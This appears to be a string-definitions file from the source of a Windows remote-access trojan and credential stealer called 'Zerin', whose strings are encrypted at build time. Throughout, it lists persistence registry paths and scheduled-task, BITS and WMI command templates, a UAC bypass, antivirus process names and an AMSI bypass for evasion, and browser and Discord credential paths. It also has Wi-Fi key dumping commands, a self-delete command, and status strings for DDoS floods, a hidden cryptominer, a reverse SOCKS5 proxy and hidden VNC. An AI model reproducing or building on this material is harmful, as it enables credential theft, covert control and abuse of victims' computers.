# Obfuscated string definitions — one ID, "string" per line # Lines starting with # are comments. Blank lines are ignored. # Generated code uses ChaCha20 encryption with a random key per build. OBF_ZERIN_UPDATE, "ZerinUpdate" OBF_ZERIN_SVC, "ZerinSvc" OBF_ZERIN_MAINTENANCE, "ZerinMaintenance" OBF_ZERIN_TRANSFER, "ZerinTransfer" OBF_ZERIN_WMI, "ZerinWMI" OBF_ZERIN_PORT, "ZerinPort" OBF_ZERIN_UPDATE_EXE, "ZerinUpdate.exe" OBF_ZERIN_EXE, "zerin.exe" OBF_RUN_KEY_PATH, "Software\\Microsoft\\Windows\\CurrentVersion\\Run" OBF_SESSION_KEY_PATH, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SessionInfo" OBF_ENVIRONMENT, "Environment" OBF_DESKTOP_PATH, "Control Panel\\Desktop" OBF_SCRNSAVE, "SCRNSAVE.EXE" OBF_LOGON_SCRIPT, "UserInitMprLogonScript" OBF_MAINTENANCE_VAL, "Maintenance" OBF_SETHC_IFEO, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" OBF_PRINT_MONITORS, "SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors" OBF_LSA_PATH, "SYSTEM\\CurrentControlSet\\Control\\Lsa" OBF_SECURITY_PACKAGES, "Security Packages" OBF_COM_CLSID_PATH, "Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feab6b5}\\InProcServer32" OBF_SHM_NAME, "Local\\ZerinRkShm" OBF_EVT_NAME, "Local\\ZerinRkEvt" OBF_SERVICES_PATH, "SYSTEM\\CurrentControlSet\\Services" OBF_DEBUGGER, "Debugger" OBF_DRIVER, "Driver" OBF_THREADING_MODEL, "ThreadingModel" OBF_SCREEN_SAVE_ACTIVE, "ScreenSaveActive" OBF_SCREEN_SAVE_TIMEOUT, "ScreenSaveTimeOut" OBF_ZERIN_DISPLAY, "Zerin Maintenance Service" OBF_CMD_EXE, "cmd.exe" OBF_NTDLL, "ntdll.dll" OBF_KERNEL32, "kernel32.dll" OBF_ADVAPI32, "advapi32.dll" OBF_WINHTTP, "winhttp.dll" OBF_POWERSHELL, "powershell.exe" OBF_PERSIST_MUTEX, "Local\\ZerinPersistMtx" OBF_MS_SETTINGS_CMD, "Software\\Classes\\ms-settings\\shell\\open\\command" OBF_DELEGATE_EXECUTE, "DelegateExecute" OBF_NETAPI32, "netapi32.dll" OBF_AMSI, "amsi.dll" # ── AV / Defender process names ────────────────────────────────────── OBF_MSMPENG, "MsMpEng.exe" OBF_MPCMDRUN, "MpCmdRun.exe" OBF_MSSENSE, "MsSense.exe" OBF_SECHEALTH, "SecurityHealthService.exe" OBF_SGRMBROKER, "SgrmBroker.exe" # ── Browser credential paths ──────────────────────────────────────── OBF_CHROME_USERDATA, "Google\\Chrome\\User Data" OBF_EDGE_USERDATA, "Microsoft\\Edge\\User Data" OBF_BRAVE_USERDATA, "BraveSoftware\\Brave-Browser\\User Data" OBF_OPERA_USERDATA, "Opera Software\\Opera Stable" OBF_VIVALDI_USERDATA, "Vivaldi\\User Data" OBF_FIREFOX_REG, "SOFTWARE\\Mozilla\\Mozilla Firefox" OBF_FIREFOX_REGMAIN, "SOFTWARE\\Mozilla\\Mozilla Firefox\\%s\\Main" OBF_FIREFOX_X64, "C:\\Program Files\\Mozilla Firefox" OBF_FIREFOX_X86, "C:\\Program Files (x86)\\Mozilla Firefox" # ── DLL names ──────────────────────────────────────────────────────── OBF_VERSION_DLL, "version.dll" OBF_DXGI_DLL, "dxgi.dll" OBF_D3D11_DLL, "d3d11.dll" OBF_RSTRTMGR_DLL, "rstrtmgr.dll" # ── Command strings ───────────────────────────────────────────────── OBF_WMIC_AV, "cmd.exe /c wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName /format:list" OBF_NETSH_PROFILES, "netsh wlan show profiles" OBF_NETSH_PROFILE_KEY, "netsh wlan show profile name=\"%s\" key=clear" OBF_IPCONFIG_FLUSH, "cmd.exe /c ipconfig /flushdns" OBF_SELF_DELETE, "cmd.exe /c ping 127.0.0.1 -n 3 > nul & del /f /q \"%s\"" # ── Registry paths ─────────────────────────────────────────────────── OBF_REG_CRYPTOGRAPHY, "SOFTWARE\\Microsoft\\Cryptography" OBF_REG_PUTTY, "SOFTWARE\\SimonTatham\\PuTTY\\Sessions" OBF_REG_CPU, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0" # ── System paths ───────────────────────────────────────────────────── OBF_NTDLL_PATH, "C:\\Windows\\System32\\ntdll.dll" OBF_HOSTS_PATH, "C:\\Windows\\System32\\drivers\\etc\\hosts" OBF_SETHC_EXE, "sethc.exe" OBF_FODHELPER_EXE, "fodhelper.exe" # ── Branding / class names ─────────────────────────────────────────── OBF_CLIPMON_CLASS, "ZerinClipMon" OBF_BLACK_CLASS, "ZerinBlack" OBF_WEBCAM_CLASS, "ZerinWebcam" # ── Discord paths ──────────────────────────────────────────────────── OBF_DISCORD_LDB, "discord\\Local Storage\\leveldb" OBF_DISCORD_CANARY_LDB, "discordcanary\\Local Storage\\leveldb" OBF_DISCORD_PTB_LDB, "discordptb\\Local Storage\\leveldb" # ── Browser exe paths (for VNC) ────────────────────────────────────── OBF_BRAVE_EXE_PATH, "BraveSoftware\\Brave-Browser\\Application\\brave.exe" OBF_CHROME_EXE_PATH, "Google\\Chrome\\Application\\chrome.exe" OBF_EDGE_EXE_PATH, "Microsoft\\Edge\\Application\\msedge.exe" OBF_FIREFOX_EXE_PATH, "Mozilla Firefox\\firefox.exe" # ── PowerShell / persistence command templates ────────────────────── OBF_PS_PREFIX, "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command " OBF_PS_HIDDEN_PREFIX, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command " OBF_SCHTASKS_FMT, "schtasks /Create /TN \"%s\" /TR \"\\\"%s\\\"\" /SC MINUTE /MO %s /F" OBF_BITS_CHAIN_FMT, "cmd.exe /c bitsadmin /create \"%s\" && bitsadmin /addfile \"%s\" \"https://localhost/noexist\" \"%%TEMP%%\\zerin_bits.tmp\" && bitsadmin /SetNotifyCmdLine \"%s\" \"%s\" NUL && bitsadmin /SetMinRetryDelay \"%s\" 60 && bitsadmin /SetNoProgressTimeout \"%s\" 2592000 && bitsadmin /resume \"%s\"" OBF_WMI_PS_FMT, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \"" # ── AMSI / injection ─────────────────────────────────────────────── OBF_AMSI_OPEN_SESSION, "AmsiOpenSession" OBF_REFLECTIVE_DLL_MAIN, "ReflectiveDllMain" # ── Elevation moniker ───────────────────────────────────────────── OBF_ELEVATION_MONIKER, "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" # ── DDoS status strings ─────────────────────────────────────────── OBF_DDOS_STARTED_FMT, "DDoS flood started: %s %s | %d threads | %d seconds" OBF_DDOS_ALREADY, "DDoS flood already running. Stop it first." OBF_DDOS_STOPPED_FMT, "DDoS flood stopped. Duration: %lus | Requests: %ld | Errors: %ld | Avg: %.0f req/s" OBF_DDOS_NOT_RUNNING, "No DDoS flood is running" # ── Miner status strings ────────────────────────────────────────── OBF_MINER_STARTED_FMT, "Miner started (PID %lu) | Pool: %s | CPU: %d%% | API port: %d" OBF_MINER_ALREADY, "Miner already running. Stop it first." OBF_MINER_STOPPED_FMT, "Miner stopped (PID %lu)" OBF_MINER_NOT_RUNNING, "No miner is running" OBF_MINER_DIR, "Microsoft\\Runtime" OBF_MINER_EXE, "svcruntime.exe" # ── SOCKS5 status strings ───────────────────────────────────────── OBF_SOCKS5_STARTED, "SOCKS5 reverse proxy started" OBF_SOCKS5_STOPPED, "SOCKS5 reverse proxy stopped" OBF_SOCKS5_NOT_RUNNING, "SOCKS5 was not running" # ── UAC cleanup paths ───────────────────────────────────────────── OBF_MS_SETTINGS_OPEN, "Software\\Classes\\ms-settings\\shell\\open" OBF_MS_SETTINGS_SHELL, "Software\\Classes\\ms-settings\\shell" OBF_MS_SETTINGS_ROOT, "Software\\Classes\\ms-settings" # ── hVNC / VNC status strings ────────────────────────────────────── OBF_HVNC_STARTED, "hVNC streaming started (hidden desktop created)" OBF_HVNC_STOPPED, "hVNC stopped (hidden desktop destroyed)" OBF_HVNC_NOT_RUNNING, "hVNC was not running" OBF_HVNC_NOT_ACTIVE, "hVNC session is not active" # ── Persistence cleanup (uninstall) ─────────────────────────────── OBF_SCHTASKS_DELETE_FMT, "schtasks /Delete /TN \"%s\" /F" OBF_BITSADMIN_CANCEL_FMT, "bitsadmin /cancel \"%s\"" OBF_PS_WMIDELETE_FMT, "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \"Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\"" # ── PowerShell encoded command formats ───────────────────────────── OBF_PS_ENCODED_HIDDEN, "powershell -NoProfile -WindowStyle Hidden -EncodedCommand %s" OBF_PS_ENCODED, "powershell -NoProfile -EncodedCommand %s"